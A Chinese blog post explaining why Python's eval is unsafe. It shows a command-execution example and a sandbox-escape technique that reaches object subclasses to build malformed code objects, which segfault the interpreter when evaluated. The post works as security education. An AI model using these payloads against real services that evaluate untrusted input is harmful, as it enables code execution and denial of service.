Python的Eval和字节码 - 边窗

/ 0评 / 0

有人在Twitter上发了张图,显示Python官方的示例打码中使用了不安全的函数eval,用"intext:eval site:svn.python.org filetype:py"可以找到更多示例代码。有人说既然能运行Python,有没有用eval不重要。无论在哪种编程语言中,eval函数都是不安全的函数,要慎用,这是良好编程习惯的问题,其次,像开启Debug模式的Flask应用,即便不直接接触系统,也可以通过eval do evil。

Python的内建函数 eval 完整函数定义是eval(source, globals=None, locals=None),字符串或代码对象传入source参数执行Python代码,执行的全局上下文和本地上下文环境通过globals和locals定义。比如通过eval("__import__('os').system('ls')")执行ls命令。

__import__是import的内部实现方式,返回的是参数传入的模块,而__import__本身也是内建built-in函数,因此可以通过设置eval的globals参数,将__builtins__对象置空来禁用builtins对象相关的内建函数和常量,比如__import__、print、True、None。

eval("__import__('os').system('ls')", {'__builtins__':{}})

全局环境__builtins__置空后,eval执行将返回函数未定义的错误,包括基类object。但__builtins__对象并不包含list、tuple、__class__(获取实例所属的类)、__bases__(获取类的基类)、__subclasses__(获取类的子类),而list和tuple也是object类的子类。因此通过list实例或tuple实例可以获取到object类,进而获取到所有的类 ,从而绕过__builtins__对象被禁用而无法使用object类。

().__class__.__bases__[0].__subclasses__()
[].__class__.__bases__[0].__subclasses__()

通过以上代码可以获取object类的所有子类,结合列表推导,可以得到任意类对象:

[c for c in ().__class__.__bases__[0].__subclasses__() if c.__name__ == 'code'][0]

从class code的__doc__可知,这个类的构造函数可以用于创建新的代码对象(即PyCodeObject* PyCode_New()),代码对象是描述字节码的结构,字节码继而在Python虚拟机中执行,但代码对象未绑定到具体函数。PyCode_New()有13个必填参数,第6个参数是字节码(代码对象的co_code属性),第13个参数是字节码的行号表(代码对象的co_lnotab属性)。

[c for c in ().__class__.__bases__[0].__subclasses__() if c.__name__ == 'code'][0](0, 0, 0, 0, 0, b'', (), (), (), '', '', 0, b'')

以上代码创建的代码对象被eval调用,会因为段错误导致Python解释器退出,即拒绝服务攻击。

eval([c for c in ().__class__.__bases__[0].__subclasses__() if c.__name__ == 'code'][0](0, 0, 0, 0, 0, b'hello', (), (), (), '', '', 0, b'', (), ()), {"__builtins__":{}})

或者结合class function的函数对象(PyObject* PyFunction_New),用字符串(字节码参数不能为空)传入eval产生同样的效果。

eval("[c for c in ().__class__.__bases__[0].__subclasses__() if c.__name__ == 'function'][0]([c for c in ().__class__.__bases__[0].__subclasses__() if c.__name__ == 'code'][0](0, 0, 0, 0, 0, b'b', (), (), (), '', '', 0, b'', (), ()), {})()", {"__builtins__":{}})

如果没有内建函数的限制,compile可以更简单地将py文件或py字符串编译成代码对象。如果代码对象结构的各个属性传入正确,可以通过eval或exec正确执行字节码。

知识共享许可协议  本作品采用知识共享署名-相同方式共享 4.0 国际许可协议进行许可。

发表回复

您的电子邮箱地址不会被公开。